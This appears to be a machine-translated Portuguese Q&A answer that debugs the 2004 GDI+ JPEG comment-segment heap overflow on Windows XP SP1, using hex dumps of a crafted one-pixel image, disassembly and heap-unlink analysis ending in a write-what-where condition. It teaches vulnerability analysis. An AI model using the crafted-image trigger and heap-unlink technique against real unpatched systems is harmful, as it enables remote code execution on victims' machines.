Essa vulnerabilidade foi definitivamente um estouro de heap .
Como escrever 0XFFFFFFFE bytes (4 GB !!!!) pode não travar o programa?
Provavelmente sim, mas em algumas ocasiões você teve tempo para explorar antes que o travamento acontecesse (às vezes, você pode fazer o programa voltar à sua execução normal e evitar o travamento).
Quando o memcpy () inicia, a cópia sobrescreverá alguns outros blocos de heap ou algumas partes da estrutura de gerenciamento de heap (por exemplo, lista livre, lista ocupada, etc.).
Em algum ponto, a cópia encontrará uma página não alocada e acionar um AV (violação de acesso) na gravação. O GDI + tentará então alocar um novo bloco no heap (consulte ntdll! RtlAllocateHeap ) ... mas as estruturas do heap estão agora todas bagunçadas.
Nesse ponto, ao criar cuidadosamente sua imagem JPEG, você pode sobrescrever as estruturas de gerenciamento de heap com dados controlados. Quando o sistema tenta alocar o novo bloco, provavelmente irá desvincular um bloco (livre) da lista livre.
Os blocos são gerenciados com (notavelmente) ponteiros flink (Link para a frente; o próximo bloco na lista) e piscas (Link para trás; o bloco anterior na lista). Se você controlar o flink e o blink, poderá ter uma possível WRITE4 (condição de escrever o quê / onde), onde controla o que pode escrever e onde pode escrever.
Nesse ponto, você pode sobrescrever um ponteiro de função (os ponteiros SEH [Structured Exception Handlers] eram um alvo de escolha naquela época em 2004) e obter a execução do código.
Veja a postagem do blog Corrupção de pilha: um estudo de caso .
Nota: embora eu tenha escrito sobre a exploração usando o freelist, um invasor pode escolher outro caminho usando outros metadados de heap ("metadados de heap" são estruturas usadas pelo sistema para gerenciar o heap; flink e blink fazem parte dos metadados de heap), mas a exploração de desvinculação é provavelmente a "mais fácil". Uma pesquisa no Google por "exploração de heap" retornará vários estudos sobre isso.
Isso grava além da área de heap e no espaço de outros programas e do sistema operacional?
Nunca. Os sistemas operacionais modernos são baseados no conceito de espaço de endereço virtual para que cada processo tenha seu próprio espaço de endereço virtual que permite endereçar até 4 gigabytes de memória em um sistema de 32 bits (na prática, você só tem a metade dele no terreno do usuário, o resto é para o kernel).
Resumindo, um processo não pode acessar a memória de outro processo (exceto se solicitar ao kernel por meio de algum serviço / API, mas o kernel verificará se o chamador tem o direito de fazê-lo).
Decidi testar essa vulnerabilidade neste fim de semana, para que pudéssemos ter uma boa ideia do que estava acontecendo, em vez de pura especulação. A vulnerabilidade agora tem 10 anos, então pensei que não havia problema em escrever sobre ela, embora não tenha explicado a parte da exploração nesta resposta.
Planejamento
A tarefa mais difícil foi encontrar um Windows XP com apenas SP1, como era em 2004 :)
Em seguida, baixei uma imagem JPEG composta apenas por um único pixel, conforme mostrado abaixo (corte para abreviar):
File 1x1_pixel.JPG
Address Hex dump ASCII
00000000 FF D8 FF E0|00 10 4A 46|49 46 00 01|01 01 00 60| ÿØÿà JFIF `
00000010 00 60 00 00|FF E1 00 16|45 78 69 66|00 00 49 49| ` ÿá Exif II
00000020 2A 00 08 00|00 00 00 00|00 00 00 00|FF DB 00 43| * ÿÛ C
[...]
Uma imagem JPEG é composta por marcadores binários (que introduzem segmentos). Na imagem acima, FF D8
é o marcador SOI (Start Of Image), enquanto FF E0
, por exemplo, é um marcador de aplicativo.
O primeiro parâmetro em um segmento de marcador (exceto alguns marcadores como SOI) é um parâmetro de comprimento de dois bytes que codifica o número de bytes no segmento de marcador, incluindo o parâmetro de comprimento e excluindo o marcador de dois bytes.
Simplesmente adicionei um marcador COM (0x FFFE
) logo após o SOI, já que os marcadores não têm uma ordem estrita.
File 1x1_pixel_comment_mod1.JPG
Address Hex dump ASCII
00000000 FF D8 FF FE|00 00 30 30|30 30 30 30|30 31 30 30| ÿØÿþ 0000000100
00000010 30 32 30 30|30 33 30 30|30 34 30 30|30 35 30 30| 0200030004000500
00000020 30 36 30 30|30 37 30 30|30 38 30 30|30 39 30 30| 0600070008000900
00000030 30 61 30 30|30 62 30 30|30 63 30 30|30 64 30 30| 0a000b000c000d00
[...]
O comprimento do segmento COM é definido 00 00
para acionar a vulnerabilidade. Eu também injetei bytes 0xFFFC logo após o marcador COM com um padrão recorrente, um número de 4 bytes em hexadecimal, que será útil ao "explorar" a vulnerabilidade.
Depurando
Clicar duas vezes na imagem acionará imediatamente o bug no shell do Windows (também conhecido como "explorer.exe"), em algum lugar gdiplus.dll
, em uma função chamada GpJpegDecoder::read_jpeg_marker()
.
Esta função é chamada para cada marcador na imagem, ela simplesmente: lê o tamanho do segmento do marcador, aloca um buffer cujo comprimento é o tamanho do segmento e copia o conteúdo do segmento neste buffer recém-alocado.
Aqui está o início da função:
.text:70E199D5 mov ebx, [ebp+arg_0] ; ebx = *this (GpJpegDecoder instance)
.text:70E199D8 push esi
.text:70E199D9 mov esi, [ebx+18h]
.text:70E199DC mov eax, [esi] ; eax = pointer to segment size
.text:70E199DE push edi
.text:70E199DF mov edi, [esi+4] ; edi = bytes left to process in the image
eax
register aponta para o tamanho do segmento e edi
é o número de bytes restantes na imagem.
O código então prossegue para ler o tamanho do segmento, começando pelo byte mais significativo (o comprimento é um valor de 16 bits):
.text:70E199F7 xor ecx, ecx ; segment_size = 0
.text:70E199F9 mov ch, [eax] ; get most significant byte from size --> CH == 00
.text:70E199FB dec edi ; bytes_to_process --
.text:70E199FC inc eax ; pointer++
.text:70E199FD test edi, edi
.text:70E199FF mov [ebp+arg_0], ecx ; save segment_size
E o byte menos significativo:
.text:70E19A15 movzx cx, byte ptr [eax] ; get least significant byte from size --> CX == 0
.text:70E19A19 add [ebp+arg_0], ecx ; save segment_size
.text:70E19A1C mov ecx, [ebp+lpMem]
.text:70E19A1F inc eax ; pointer ++
.text:70E19A20 mov [esi], eax
.text:70E19A22 mov eax, [ebp+arg_0] ; eax = segment_size
Feito isso, o tamanho do segmento é usado para alocar um buffer, seguindo este cálculo:
alloc_size = segment_size + 2
Isso é feito pelo código abaixo:
.text:70E19A29 movzx esi, word ptr [ebp+arg_0] ; esi = segment size (cast from 16-bit to 32-bit)
.text:70E19A2D add eax, 2
.text:70E19A30 mov [ecx], ax
.text:70E19A33 lea eax, [esi+2] ; alloc_size = segment_size + 2
.text:70E19A36 push eax ; dwBytes
.text:70E19A37 call _GpMalloc@4 ; GpMalloc(x)
No nosso caso, como o tamanho do segmento é 0, o tamanho alocado para o buffer é 2 bytes .
A vulnerabilidade está logo após a alocação:
.text:70E19A37 call _GpMalloc@4 ; GpMalloc(x)
.text:70E19A3C test eax, eax
.text:70E19A3E mov [ebp+lpMem], eax ; save pointer to allocation
.text:70E19A41 jz loc_70E19AF1
.text:70E19A47 mov cx, [ebp+arg_4] ; low marker byte (0xFE)
.text:70E19A4B mov [eax], cx ; save in alloc (offset 0)
;[...]
.text:70E19A52 lea edx, [esi-2] ; edx = segment_size - 2 = 0 - 2 = 0xFFFFFFFE!!!
;[...]
.text:70E19A61 mov [ebp+arg_0], edx
O código simplesmente subtrai o tamanho do segmento (o comprimento do segmento é um valor de 2 bytes) do tamanho do segmento inteiro (0 em nosso caso) e termina com um underflow inteiro: 0 - 2 = 0xFFFFFFFE
O código então verifica se há bytes restantes para analisar na imagem (o que é verdadeiro) e, em seguida, pula para a cópia:
.text:70E19A69 mov ecx, [eax+4] ; ecx = bytes left to parse (0x133)
.text:70E19A6C cmp ecx, edx ; edx = 0xFFFFFFFE
.text:70E19A6E jg short loc_70E19AB4 ; take jump to copy
;[...]
.text:70E19AB4 mov eax, [ebx+18h]
.text:70E19AB7 mov esi, [eax] ; esi = source = points to segment content ("0000000100020003...")
.text:70E19AB9 mov edi, dword ptr [ebp+arg_4] ; edi = destination buffer
.text:70E19ABC mov ecx, edx ; ecx = copy size = segment content size = 0xFFFFFFFE
.text:70E19ABE mov eax, ecx
.text:70E19AC0 shr ecx, 2 ; size / 4
.text:70E19AC3 rep movsd ; copy segment content by 32-bit chunks
O trecho acima mostra que o tamanho da cópia é 0xFFFFFFFE pedaços de 32 bits. O buffer de origem é controlado (conteúdo da imagem) e o destino é um buffer no heap.
Condição de escrita
A cópia irá disparar uma exceção de violação de acesso (AV) quando atingir o final da página de memória (isso pode ser do ponteiro de origem ou do ponteiro de destino). Quando o AV é disparado, o heap já está em um estado vulnerável porque a cópia já substituiu todos os blocos de heap seguintes até que uma página não mapeada foi encontrada.
O que torna esse bug explorável é que 3 SEH (Structured Exception Handler; este é tentar / exceto em baixo nível) estão capturando exceções nesta parte do código. Mais precisamente, o primeiro SEH desenrolará a pilha de forma que volte para analisar outro marcador JPEG, ignorando completamente o marcador que acionou a exceção.
Sem um SEH, o código teria simplesmente travado todo o programa. Portanto, o código ignora o segmento COM e analisa outro segmento. Então, voltamos GpJpegDecoder::read_jpeg_marker()
com um novo segmento e quando o código aloca um novo buffer:
.text:70E19A33 lea eax, [esi+2] ; alloc_size = semgent_size + 2
.text:70E19A36 push eax ; dwBytes
.text:70E19A37 call _GpMalloc@4 ; GpMalloc(x)
O sistema irá desvincular um bloco da lista livre. Acontece que as estruturas de metadados foram substituídas pelo conteúdo da imagem; portanto, controlamos a desvinculação com metadados controlados. O código abaixo está em algum lugar do sistema (ntdll) no gerenciador de heap:
CPU Disasm
Address Command Comments
77F52CBF MOV ECX,DWORD PTR DS:[EAX] ; eax points to '0003' ; ecx = 0x33303030
77F52CC1 MOV DWORD PTR SS:[EBP-0B0],ECX ; save ecx
77F52CC7 MOV EAX,DWORD PTR DS:[EAX+4] ; [eax+4] points to '0004' ; eax = 0x34303030
77F52CCA MOV DWORD PTR SS:[EBP-0B4],EAX
77F52CD0 MOV DWORD PTR DS:[EAX],ECX ; write 0x33303030 to 0x34303030!!!
Agora podemos escrever o que quisermos, onde quisermos ...